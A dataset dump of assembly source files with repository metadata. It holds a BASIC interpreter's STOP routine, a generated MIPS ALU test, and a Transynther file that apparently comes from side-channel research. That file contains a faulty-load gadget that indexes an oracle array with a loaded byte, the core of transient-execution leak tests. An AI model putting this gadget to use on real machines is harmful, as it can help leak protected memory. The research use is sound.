hexsha
stringlengths
40
40
size
int64
6
1.05M
ext
stringclasses
3 values
lang
stringclasses
1 value
max_stars_repo_path
stringlengths
4
232
max_stars_repo_name
stringlengths
7
106
max_stars_repo_head_hexsha
stringlengths
40
40
max_stars_repo_licenses
listlengths
1
7
max_stars_count
int64
1
33.5k
max_stars_repo_stars_event_min_datetime
stringlengths
24
24
max_stars_repo_stars_event_max_datetime
stringlengths
24
24
max_issues_repo_path
stringlengths
4
232
max_issues_repo_name
stringlengths
7
106
max_issues_repo_head_hexsha
stringlengths
40
40
max_issues_repo_licenses
listlengths
1
7
max_issues_count
int64
1
37.5k
max_issues_repo_issues_event_min_datetime
stringlengths
24
24
max_issues_repo_issues_event_max_datetime
stringlengths
24
24
max_forks_repo_path
stringlengths
4
232
max_forks_repo_name
stringlengths
7
106
max_forks_repo_head_hexsha
stringlengths
40
40
max_forks_repo_licenses
listlengths
1
7
max_forks_count
int64
1
12.6k
max_forks_repo_forks_event_min_datetime
stringlengths
24
24
max_forks_repo_forks_event_max_datetime
stringlengths
24
24
content
stringlengths
6
1.05M
avg_line_length
float64
1.16
19.7k
max_line_length
int64
2
938k
alphanum_fraction
float64
0
1
dd50ab4df14a6a235cb7c3672c1ab4a0b280c6a7
579
asm
Assembly
source/modules/basic/commands/stop.asm
paulscottrobson/mega-basic
f71750889136e2fdc4e6053c5696593318162bcf
[ "MIT" ]
3
2019-12-03T06:05:24.000Z
2021-03-24T01:51:07.000Z
source/modules/basic/commands/stop.asm
paulscottrobson/mega-basic
f71750889136e2fdc4e6053c5696593318162bcf
[ "MIT" ]
null
null
null
source/modules/basic/commands/stop.asm
paulscottrobson/mega-basic
f71750889136e2fdc4e6053c5696593318162bcf
[ "MIT" ]
null
null
null
; ******************************************************************************************* ; ******************************************************************************************* ; ; Name : stop.asm ; Purpose : STOP Command ; Date : 23rd August 2019 ; Review : 1st September 2019 ; Author : Paul Robson (paul@robsons.org.uk) ; ; ******************************************************************************************* ; ******************************************************************************************* Command_STOP: ;; stop #Fatal "Stop"
34.058824
93
0.217617
1b3315d3d9b41df27f33a9e55388985162322005
12,377
asm
Assembly
P6/data_P6_2/ALUTest155.asm
alxzzhou/BUAA_CO_2020
b54bf367081a5a11701ebc3fc78a23494aecca9e
[ "Apache-2.0" ]
1
2022-01-23T09:24:47.000Z
2022-01-23T09:24:47.000Z
P6/data_P6_2/ALUTest155.asm
alxzzhou/BUAA_CO_2020
b54bf367081a5a11701ebc3fc78a23494aecca9e
[ "Apache-2.0" ]
null
null
null
P6/data_P6_2/ALUTest155.asm
alxzzhou/BUAA_CO_2020
b54bf367081a5a11701ebc3fc78a23494aecca9e
[ "Apache-2.0" ]
null
null
null
srl $5,$3,30 subu $5,$3,$3 subu $0,$0,$3 slti $5,$2,27145 sll $3,$3,0 sw $4,12($0) srlv $3,$3,$3 lw $5,4($0) sh $5,14($0) sb $5,11($0) sltu $3,$4,$3 lh $4,4($0) subu $3,$5,$3 or $4,$5,$3 srlv $5,$3,$3 sw $3,0($0) xor $3,$4,$3 nor $5,$3,$3 lb $3,9($0) sllv $3,$5,$3 ori $3,$4,55891 sw $4,0($0) sllv $4,$4,$3 xor $6,$4,$3 ori $4,$0,9405 slti $3,$3,17539 andi $5,$5,15488 slt $3,$3,$3 xori $4,$4,38180 addiu $0,$3,-31655 subu $1,$3,$3 sh $3,2($0) srl $4,$2,0 subu $4,$3,$3 lh $3,8($0) slti $5,$1,-30404 sw $5,8($0) nor $1,$1,$3 addiu $6,$4,3982 addiu $5,$3,-4515 srl $6,$1,3 sh $4,8($0) sll $0,$5,4 addu $5,$5,$3 srlv $6,$1,$3 lw $3,8($0) subu $5,$6,$3 sh $6,12($0) slti $3,$6,-30702 addu $6,$1,$3 lw $5,0($0) slt $1,$5,$3 lbu $4,15($0) sra $3,$3,15 sra $1,$4,6 subu $5,$4,$3 lbu $4,12($0) andi $1,$3,49125 or $3,$3,$3 sllv $0,$0,$3 nor $4,$3,$3 sllv $5,$3,$3 sll $4,$5,10 xori $3,$6,40137 ori $4,$4,51547 or $3,$6,$3 sw $3,12($0) addu $0,$1,$3 srl $3,$5,1 slt $1,$1,$3 sra $1,$5,3 slt $5,$5,$3 sw $3,0($0) lh $1,14($0) slt $3,$4,$3 sw $5,0($0) andi $1,$5,49103 sw $6,16($0) sll $6,$4,26 srlv $3,$4,$3 ori $4,$3,60474 addu $1,$0,$3 srav $5,$3,$3 srl $5,$0,9 slti $3,$3,-8973 srav $0,$0,$3 lhu $4,10($0) nor $3,$0,$3 sb $4,11($0) andi $4,$4,35727 sllv $5,$1,$3 subu $3,$5,$3 addu $4,$4,$3 addu $5,$3,$3 sll $5,$5,3 slti $1,$3,-16939 sra $5,$3,4 lh $3,16($0) ori $3,$3,47324 lw $5,0($0) xor $3,$4,$3 addu $6,$3,$3 srl $5,$6,9 or $5,$3,$3 xor $5,$1,$3 sh $5,4($0) xor $4,$4,$3 srl $5,$6,22 sw $3,16($0) subu $3,$3,$3 sllv $5,$4,$3 xori $1,$1,53494 subu $4,$4,$3 subu $5,$6,$3 slt $1,$3,$3 xori $3,$4,61412 xor $3,$3,$3 addu $0,$0,$3 sb $3,11($0) sll $1,$2,21 lb $4,8($0) xor $3,$3,$3 sra $4,$6,21 slti $6,$1,20531 sltiu $3,$1,-16090 addiu $0,$1,19163 lbu $4,7($0) sh $3,0($0) xori $4,$6,2161 lhu $0,12($0) addu $4,$4,$3 sll $3,$3,4 sllv $4,$1,$3 srav $0,$4,$3 srl $1,$3,11 addiu $0,$0,-7731 xori $3,$3,50045 slt $3,$3,$3 xor $1,$3,$3 lw $3,8($0) sllv $1,$1,$3 slt $0,$0,$3 lb $1,5($0) addiu $5,$5,-17818 addu $4,$4,$3 lh $6,10($0) sltu $1,$4,$3 xor $3,$5,$3 lbu $0,5($0) sllv $4,$3,$3 sllv $1,$3,$3 and $1,$4,$3 srav $1,$4,$3 sb $4,2($0) srlv $6,$4,$3 xor $3,$5,$3 addiu $6,$0,24468 srlv $1,$3,$3 srlv $3,$1,$3 andi $6,$3,1302 addu $3,$4,$3 slti $4,$1,-10774 lbu $3,15($0) sltu $3,$3,$3 lbu $4,7($0) lb $3,12($0) ori $3,$4,58523 slt $3,$1,$3 srl $3,$5,11 sra $3,$3,21 sltiu $3,$3,18343 sltiu $5,$5,24218 srav $1,$1,$3 subu $4,$4,$3 ori $5,$4,61840 lbu $4,15($0) sb $4,12($0) or $1,$4,$3 nor $1,$6,$3 slti $4,$4,31361 lw $4,8($0) lhu $3,10($0) subu $0,$3,$3 sb $3,3($0) srlv $4,$3,$3 andi $3,$6,10100 lh $3,10($0) or $3,$5,$3 subu $4,$4,$3 subu $6,$3,$3 slt $4,$4,$3 sw $1,12($0) xor $4,$4,$3 lb $3,4($0) addu $1,$4,$3 slti $0,$0,737 sll $4,$3,27 lbu $6,8($0) sltiu $4,$1,-31894 addiu $5,$1,-31648 xor $1,$5,$3 and $3,$3,$3 slt $3,$3,$3 addiu $4,$4,-12693 addiu $5,$4,6944 lb $5,12($0) srl $5,$5,30 srav $0,$5,$3 lw $3,8($0) sltiu $1,$0,3130 and $4,$4,$3 or $3,$3,$3 sw $3,16($0) or $5,$1,$3 srlv $1,$3,$3 srl $4,$4,25 sh $5,4($0) ori $4,$3,34562 sw $1,16($0) sltiu $5,$3,31280 srav $3,$4,$3 srl $3,$5,7 sll $3,$2,29 lw $0,8($0) addu $3,$3,$3 sh $6,8($0) addiu $4,$4,-12934 subu $0,$4,$3 xor $3,$1,$3 nor $4,$3,$3 addiu $3,$3,-13132 lbu $4,4($0) srlv $5,$1,$3 lw $5,8($0) sb $1,11($0) sra $3,$6,10 nor $5,$6,$3 lhu $4,10($0) sra $3,$3,21 addu $3,$4,$3 lb $4,3($0) lh $0,12($0) ori $3,$3,1517 sb $1,1($0) subu $5,$3,$3 andi $1,$4,54462 subu $6,$5,$3 addiu $5,$3,30892 sllv $4,$0,$3 or $3,$3,$3 lh $6,6($0) srl $5,$4,13 subu $4,$2,$3 sw $5,8($0) srl $5,$6,11 sb $5,11($0) subu $6,$3,$3 sb $4,7($0) srav $1,$1,$3 sw $1,8($0) xor $3,$3,$3 sltiu $3,$4,16224 sh $3,4($0) sb $3,16($0) addiu $3,$1,17720 sltu $0,$0,$3 sw $0,8($0) sra $0,$0,2 sw $5,12($0) xor $3,$5,$3 sra $3,$3,2 sllv $4,$4,$3 ori $3,$5,37489 srlv $3,$5,$3 lw $1,0($0) lh $5,16($0) lb $3,10($0) lb $5,15($0) addu $3,$3,$3 subu $3,$3,$3 lbu $1,6($0) lb $3,12($0) lh $1,0($0) sb $6,14($0) srav $4,$0,$3 addiu $3,$3,31645 sb $1,12($0) lb $6,14($0) or $3,$3,$3 andi $4,$1,48440 or $2,$2,$3 sltiu $6,$5,28543 sra $3,$4,2 lw $6,8($0) sra $3,$0,1 addiu $6,$3,31029 addu $4,$5,$3 sh $3,4($0) sw $0,8($0) addiu $4,$3,16506 sw $4,8($0) andi $5,$5,47757 sllv $4,$5,$3 sra $4,$4,17 slti $6,$6,21012 slt $3,$3,$3 lh $6,10($0) srav $3,$3,$3 sllv $3,$3,$3 lh $5,4($0) nor $4,$4,$3 xor $6,$4,$3 sltu $3,$4,$3 or $1,$3,$3 srlv $1,$4,$3 addu $1,$4,$3 ori $1,$1,23380 lb $0,11($0) addiu $5,$1,26260 nor $1,$3,$3 or $6,$6,$3 srlv $6,$6,$3 addiu $5,$5,14538 addu $4,$5,$3 sh $4,6($0) subu $3,$3,$3 addiu $6,$6,28384 lhu $3,6($0) or $3,$2,$3 sllv $3,$1,$3 andi $3,$5,48507 sw $3,12($0) lw $4,16($0) lbu $4,14($0) sb $5,14($0) lw $4,16($0) nor $3,$3,$3 xori $5,$6,53246 andi $6,$4,51204 lbu $4,7($0) subu $4,$4,$3 addu $5,$3,$3 sb $1,6($0) slti $1,$3,-8280 addu $3,$0,$3 srav $5,$0,$3 sll $5,$5,5 srl $4,$3,12 lw $3,0($0) lb $6,13($0) lbu $4,0($0) sllv $3,$5,$3 addu $5,$1,$3 srlv $3,$5,$3 sll $5,$3,13 sltu $1,$1,$3 addu $4,$3,$3 sh $3,4($0) sllv $3,$6,$3 srlv $5,$0,$3 sra $3,$4,15 lw $3,4($0) nor $5,$2,$3 sh $4,8($0) or $1,$1,$3 lhu $3,12($0) xor $5,$1,$3 addu $6,$6,$3 srav $5,$3,$3 lh $3,12($0) lw $0,4($0) srl $3,$3,21 lbu $0,6($0) sllv $4,$3,$3 addiu $1,$3,23775 subu $5,$5,$3 addiu $5,$3,30553 subu $3,$4,$3 xor $5,$5,$3 addu $3,$3,$3 and $5,$3,$3 addiu $5,$3,19062 xori $1,$4,9244 srlv $3,$0,$3 subu $4,$4,$3 xor $5,$0,$3 xor $4,$3,$3 addu $5,$6,$3 srl $3,$0,16 lw $3,0($0) sllv $5,$4,$3 addu $0,$0,$3 addu $4,$6,$3 sw $5,12($0) or $0,$0,$3 subu $4,$1,$3 sw $5,0($0) lw $6,0($0) subu $1,$5,$3 sltiu $3,$3,-20003 sw $6,16($0) slti $5,$4,9325 lhu $1,2($0) or $4,$4,$3 lh $4,0($0) xori $1,$5,20839 slt $4,$3,$3 sltiu $0,$6,8579 and $5,$3,$3 or $6,$1,$3 srlv $4,$4,$3 or $3,$3,$3 subu $3,$2,$3 addu $4,$4,$3 slti $4,$4,-23158 lh $3,12($0) sb $4,15($0) sb $0,10($0) sllv $0,$5,$3 srlv $3,$3,$3 sllv $4,$2,$3 xor $4,$4,$3 slti $1,$5,-18664 addu $3,$3,$3 and $3,$3,$3 lhu $3,2($0) srl $5,$3,5 lw $1,12($0) sb $4,15($0) xori $6,$1,42284 srav $3,$1,$3 lw $6,0($0) lh $5,0($0) and $3,$1,$3 addiu $0,$3,1497 srl $5,$4,29 addu $4,$4,$3 xor $3,$3,$3 sltu $6,$3,$3 and $1,$6,$3 srl $5,$5,1 lh $1,0($0) sllv $3,$4,$3 lbu $5,4($0) sb $5,12($0) addu $3,$2,$3 xori $4,$4,25372 sllv $3,$0,$3 sltu $3,$6,$3 sll $1,$6,25 srav $4,$3,$3 addu $3,$3,$3 addu $1,$3,$3 slti $3,$3,-6268 sll $1,$3,3 srlv $5,$0,$3 slti $4,$6,-32208 ori $3,$4,42604 xor $3,$3,$3 addu $3,$6,$3 addu $5,$4,$3 xori $4,$0,42652 addiu $3,$1,17559 xori $4,$4,7561 subu $5,$5,$3 lw $5,4($0) ori $5,$6,5727 nor $3,$3,$3 and $1,$3,$3 xori $6,$1,58798 addu $3,$3,$3 sra $3,$3,16 addu $5,$5,$3 srlv $5,$5,$3 addu $4,$3,$3 lh $3,12($0) slti $3,$3,-7360 addiu $4,$4,14847 sb $3,15($0) addu $3,$0,$3 srav $3,$4,$3 slt $3,$6,$3 slt $3,$3,$3 sltu $4,$4,$3 or $0,$6,$3 sb $3,5($0) xori $3,$4,21518 srav $6,$3,$3 sllv $4,$3,$3 addiu $4,$4,-15680 or $4,$4,$3 addu $1,$3,$3 addu $6,$2,$3 srav $6,$3,$3 addu $4,$3,$3 ori $5,$6,42324 lh $3,2($0) nor $4,$1,$3 lbu $3,3($0) sb $3,3($0) sllv $1,$4,$3 or $3,$1,$3 sllv $3,$1,$3 sltiu $4,$1,17515 addu $1,$1,$3 subu $4,$4,$3 and $4,$1,$3 sw $3,12($0) sw $6,16($0) lbu $3,9($0) sb $6,10($0) slt $3,$3,$3 xor $6,$6,$3 or $3,$4,$3 subu $1,$4,$3 lh $3,6($0) subu $4,$1,$3 nor $3,$3,$3 subu $6,$4,$3 srav $4,$4,$3 slt $4,$5,$3 lb $1,16($0) addu $3,$5,$3 andi $3,$6,34330 or $1,$1,$3 subu $3,$0,$3 addu $3,$4,$3 addu $4,$2,$3 lw $3,12($0) addu $1,$4,$3 slt $4,$6,$3 srav $3,$3,$3 xor $4,$3,$3 addiu $4,$3,24377 subu $4,$3,$3 andi $0,$4,41146 andi $5,$3,39385 xor $4,$4,$3 lhu $0,6($0) ori $5,$4,17788 addu $3,$2,$3 sw $6,0($0) andi $3,$3,45446 sb $3,1($0) lh $5,8($0) subu $1,$4,$3 lbu $1,11($0) sltiu $6,$3,-18568 sltu $6,$5,$3 sw $4,4($0) sh $3,16($0) slti $0,$0,-19112 xori $4,$3,44948 srl $3,$4,24 sltiu $5,$5,-11690 andi $1,$1,3287 ori $6,$4,13250 lb $1,4($0) sra $4,$4,6 addu $4,$3,$3 addiu $3,$3,17015 xori $0,$4,8782 srlv $0,$3,$3 srl $4,$1,14 lw $1,4($0) srav $4,$4,$3 ori $5,$4,4526 subu $4,$1,$3 sb $2,0($0) addiu $5,$4,-2432 lbu $5,16($0) lh $3,12($0) slti $3,$1,26566 lw $4,4($0) addiu $4,$3,12571 lh $3,10($0) sh $3,2($0) or $3,$3,$3 sll $3,$6,14 sllv $4,$4,$3 srav $4,$3,$3 addu $3,$3,$3 nor $6,$4,$3 or $3,$5,$3 sh $4,6($0) sll $3,$3,12 sb $5,4($0) sra $5,$4,12 lh $6,14($0) andi $1,$3,45502 sh $4,4($0) sltiu $3,$1,402 or $6,$6,$3 srav $3,$3,$3 addu $3,$3,$3 lh $3,10($0) sllv $4,$4,$3 addiu $5,$5,-19385 addiu $3,$5,-27966 sra $5,$5,19 sll $4,$0,16 sll $3,$3,2 sra $5,$0,28 sra $4,$3,5 srl $1,$5,13 xor $0,$5,$3 nor $3,$3,$3 sra $1,$3,6 addu $6,$4,$3 xor $4,$4,$3 sw $3,4($0) srl $5,$4,18 sll $1,$1,31 addu $5,$1,$3 lh $5,6($0) slti $5,$5,-10978 lbu $4,2($0) srav $6,$6,$3 slti $4,$3,27965 sltu $3,$3,$3 lh $0,8($0) addu $5,$5,$3 lb $3,4($0) sltu $3,$3,$3 slti $5,$5,-26807 xori $5,$5,5035 srl $4,$4,31 lb $4,15($0) lhu $3,10($0) sltu $4,$4,$3 sltiu $4,$0,22167 slti $3,$3,8340 addu $3,$4,$3 and $5,$3,$3 lh $6,2($0) sh $2,0($0) addiu $4,$3,892 lhu $1,6($0) addiu $5,$4,30328 addiu $3,$1,31780 sllv $0,$4,$3 lh $3,14($0) slt $6,$4,$3 ori $3,$5,10711 sw $0,16($0) sb $4,8($0) sw $4,12($0) sw $3,12($0) nor $3,$0,$3 sb $3,10($0) lbu $6,12($0) sltu $3,$6,$3 sltu $4,$4,$3 xor $3,$5,$3 sra $4,$6,7 sh $5,8($0) lb $1,3($0) lh $0,10($0) addu $5,$1,$3 srl $4,$4,0 andi $3,$3,23508 lhu $3,16($0) slti $3,$1,-21323 lw $5,12($0) nor $0,$0,$3 or $5,$5,$3 nor $3,$5,$3 sra $4,$3,9 or $1,$1,$3 addiu $4,$3,27009 srav $3,$4,$3 xori $6,$3,25090 sltiu $3,$3,-20049 sra $4,$4,13 sb $6,16($0) srl $4,$4,18 addiu $3,$5,-26657 slti $3,$6,-19942 lb $3,7($0) xor $3,$3,$3 sltiu $3,$4,-29989 addu $3,$1,$3 srav $0,$0,$3 sll $1,$1,29 sh $4,10($0) addu $4,$1,$3 ori $6,$6,16926 srav $5,$3,$3 sra $3,$3,17 and $6,$4,$3 lbu $1,1($0) sll $0,$3,18 nor $3,$1,$3 addu $4,$0,$3 subu $0,$4,$3 lw $3,0($0) sh $3,4($0) addu $4,$5,$3 subu $1,$3,$3 or $1,$1,$3 addiu $3,$0,-28362 subu $4,$3,$3 subu $5,$4,$3 sltiu $4,$4,15257 ori $4,$5,60324 addiu $1,$0,-24351 and $1,$3,$3 lbu $1,8($0) lw $1,8($0) slti $6,$4,-28486 sw $6,0($0) sh $1,2($0) sllv $0,$0,$3 sh $3,14($0) sh $0,16($0) lw $4,16($0) lh $3,2($0) subu $3,$3,$3 sb $5,1($0) addu $3,$3,$3 sh $1,14($0) slti $3,$3,16204 subu $4,$3,$3 lb $1,14($0) sw $1,8($0) sh $5,12($0) lh $1,8($0) lh $4,0($0) or $4,$4,$3 sw $5,8($0) nor $4,$4,$3 slt $4,$2,$3 srav $3,$4,$3 lhu $4,2($0) srlv $4,$4,$3 slt $0,$0,$3 subu $0,$2,$3 sll $5,$4,21 xori $3,$3,10814 ori $3,$3,29779 srl $6,$6,10 subu $3,$1,$3 ori $1,$6,13915 lb $4,7($0) sh $5,12($0) addiu $6,$3,14665 sltu $3,$3,$3 addiu $6,$6,-8708 lb $6,16($0) sw $3,8($0) lh $3,12($0) sll $3,$3,24 xori $3,$3,17638 sh $6,8($0) addu $1,$3,$3 sh $3,0($0) sltiu $3,$3,-16104 addu $4,$0,$3 srl $4,$0,12 lb $3,12($0) xori $1,$4,45253 addu $5,$3,$3 sll $5,$6,18 addu $6,$6,$3 ori $3,$1,53135 srav $4,$3,$3 slt $4,$3,$3 addiu $4,$3,10882 nor $3,$3,$3 addu $4,$6,$3 ori $4,$4,24427 srav $1,$1,$3 sltiu $6,$5,16720 slti $3,$3,-26373 srav $4,$3,$3 lbu $0,9($0) xori $1,$6,47744 sw $6,8($0) srlv $5,$4,$3 sltu $4,$4,$3 sb $1,12($0) slti $4,$5,-14616 sltiu $4,$0,12345 lh $3,14($0) and $3,$0,$3 sllv $5,$3,$3 sllv $0,$0,$3 slt $0,$5,$3 lhu $3,6($0) and $5,$3,$3 ori $1,$5,7315 sra $1,$3,5 xori $3,$1,41758 sh $4,12($0) ori $4,$3,11733 sb $3,4($0) addu $1,$5,$3 srl $4,$0,13 srav $6,$6,$3 addiu $0,$6,-26403 lbu $0,5($0) sb $3,7($0) sllv $0,$0,$3 and $4,$3,$3 sltu $3,$3,$3 subu $0,$0,$3 addiu $3,$3,-15314 addiu $1,$0,-16876 and $5,$5,$3 sh $6,4($0) lhu $5,12($0) or $4,$1,$3 addiu $3,$3,21329 subu $3,$3,$3 or $5,$5,$3 slt $1,$6,$3 sra $4,$1,14 addu $4,$5,$3 or $4,$1,$3 sh $5,2($0) addu $3,$0,$3 srav $5,$1,$3 and $3,$3,$3 srav $3,$3,$3 nor $3,$3,$3 lbu $4,6($0) ori $5,$4,28102 lh $3,10($0) or $4,$1,$3 and $3,$5,$3 srl $1,$1,22 sb $5,6($0) sh $3,12($0) sw $5,4($0) ori $5,$6,4058 srav $0,$6,$3 xori $4,$5,1945 sw $5,12($0) addu $4,$2,$3 sra $0,$6,3 and $3,$3,$3 sltiu $3,$3,30786 lbu $4,10($0) sltiu $3,$3,4203 sllv $6,$3,$3 subu $4,$5,$3 sll $4,$3,21 lhu $1,10($0) srlv $5,$6,$3 sllv $3,$5,$3 addu $3,$3,$3 sh $4,12($0) addiu $3,$3,-32558 lb $5,14($0) sb $3,14($0) lbu $5,5($0) lh $0,14($0) addiu $3,$5,10335 sh $3,8($0) sh $5,14($0) srlv $5,$0,$3 subu $1,$4,$3 lhu $3,4($0) nor $4,$4,$3 sltu $4,$4,$3 addu $3,$4,$3 sll $3,$4,2 sw $3,16($0) sw $3,4($0) sll $4,$4,5 sw $4,12($0) subu $1,$3,$3 srl $4,$4,7 lb $5,6($0) lw $5,0($0) srl $0,$2,31 sltiu $3,$1,-25269 sh $4,12($0) lbu $3,6($0) subu $3,$1,$3 lh $5,16($0) addu $1,$5,$3 lhu $1,2($0) and $3,$3,$3 sw $3,8($0) slti $5,$3,-11351 or $5,$4,$3 lb $4,1($0)
13.922385
18
0.514987
caa76c4dd042ab98412922f82c7d6a8345ed9e4f
5,685
asm
Assembly
Transynther/x86/_processed/NONE/_xt_/i7-7700_9_0xca_notsx.log_21829_1818.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
9
2020-08-13T19:41:58.000Z
2022-03-30T12:22:51.000Z
Transynther/x86/_processed/NONE/_xt_/i7-7700_9_0xca_notsx.log_21829_1818.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
1
2021-04-29T06:29:35.000Z
2021-05-13T21:02:30.000Z
Transynther/x86/_processed/NONE/_xt_/i7-7700_9_0xca_notsx.log_21829_1818.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
3
2020-07-14T17:07:07.000Z
2022-03-21T01:12:22.000Z
.global s_prepare_buffers s_prepare_buffers: push %r8 push %r9 push %rax push %rcx push %rdi push %rdx push %rsi lea addresses_UC_ht+0x93f, %rax and $46816, %rsi movb (%rax), %dl nop nop nop nop nop sub $4298, %r9 lea addresses_A_ht+0x7554, %rsi lea addresses_WT_ht+0xaf3f, %rdi and %r8, %r8 mov $55, %rcx rep movsw nop inc %rax lea addresses_WC_ht+0x1daaf, %rsi lea addresses_A_ht+0x9c7f, %rdi nop nop cmp %rdx, %rdx mov $27, %rcx rep movsb nop nop nop nop cmp $13302, %rdi lea addresses_WT_ht+0x1147, %rdx nop cmp $53452, %rax mov (%rdx), %esi nop xor $38972, %rdi lea addresses_A_ht+0x287f, %rsi nop mfence mov $0x6162636465666768, %rdi movq %rdi, %xmm0 and $0xffffffffffffffc0, %rsi movaps %xmm0, (%rsi) nop nop nop nop nop dec %r9 lea addresses_WT_ht+0x1747f, %r9 mfence mov $0x6162636465666768, %rcx movq %rcx, %xmm2 and $0xffffffffffffffc0, %r9 vmovaps %ymm2, (%r9) nop nop nop nop nop xor $51418, %rax lea addresses_A_ht+0x1c7f, %rdi nop nop nop nop and $26775, %r9 vmovups (%rdi), %ymm1 vextracti128 $0, %ymm1, %xmm1 vpextrq $1, %xmm1, %rdx nop sub $17298, %r9 pop %rsi pop %rdx pop %rdi pop %rcx pop %rax pop %r9 pop %r8 ret .global s_faulty_load s_faulty_load: push %r8 push %rbp push %rbx push %rdi push %rdx push %rsi // Faulty Load lea addresses_UC+0xe87f, %rbx sub $6008, %rdi movb (%rbx), %r8b lea oracles, %rdx and $0xff, %r8 shlq $12, %r8 mov (%rdx,%r8,1), %r8 pop %rsi pop %rdx pop %rdi pop %rbx pop %rbp pop %r8 ret /* <gen_faulty_load> [REF] {'src': {'NT': False, 'AVXalign': False, 'size': 4, 'congruent': 0, 'same': False, 'type': 'addresses_UC'}, 'OP': 'LOAD'} [Faulty Load] {'src': {'NT': False, 'AVXalign': False, 'size': 1, 'congruent': 0, 'same': True, 'type': 'addresses_UC'}, 'OP': 'LOAD'} <gen_prepare_buffer> {'src': {'NT': False, 'AVXalign': False, 'size': 1, 'congruent': 5, 'same': False, 'type': 'addresses_UC_ht'}, 'OP': 'LOAD'} {'src': {'congruent': 0, 'same': False, 'type': 'addresses_A_ht'}, 'dst': {'congruent': 6, 'same': True, 'type': 'addresses_WT_ht'}, 'OP': 'REPM'} {'src': {'congruent': 4, 'same': False, 'type': 'addresses_WC_ht'}, 'dst': {'congruent': 9, 'same': False, 'type': 'addresses_A_ht'}, 'OP': 'REPM'} {'src': {'NT': False, 'AVXalign': False, 'size': 4, 'congruent': 1, 'same': False, 'type': 'addresses_WT_ht'}, 'OP': 'LOAD'} {'dst': {'NT': False, 'AVXalign': True, 'size': 16, 'congruent': 10, 'same': False, 'type': 'addresses_A_ht'}, 'OP': 'STOR'} {'dst': {'NT': False, 'AVXalign': True, 'size': 32, 'congruent': 8, 'same': False, 'type': 'addresses_WT_ht'}, 'OP': 'STOR'} {'src': {'NT': False, 'AVXalign': False, 'size': 32, 'congruent': 7, 'same': False, 'type': 'addresses_A_ht'}, 'OP': 'LOAD'} {'37': 21829} 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 */
43.396947
2,999
0.660334
0f518e0e6e3dffba3bc14bcea3084546bff02efc
561
asm
Assembly
src/analyze_input.asm
iljakalistratov/Code39Encoder
6809b770d51f08f687acd8a2d58323008c1a8099
[ "MIT" ]
1
2021-11-08T20:52:56.000Z
2021-11-08T20:52:56.000Z
src/analyze_input.asm
iljakalistratov/Code39Encoder
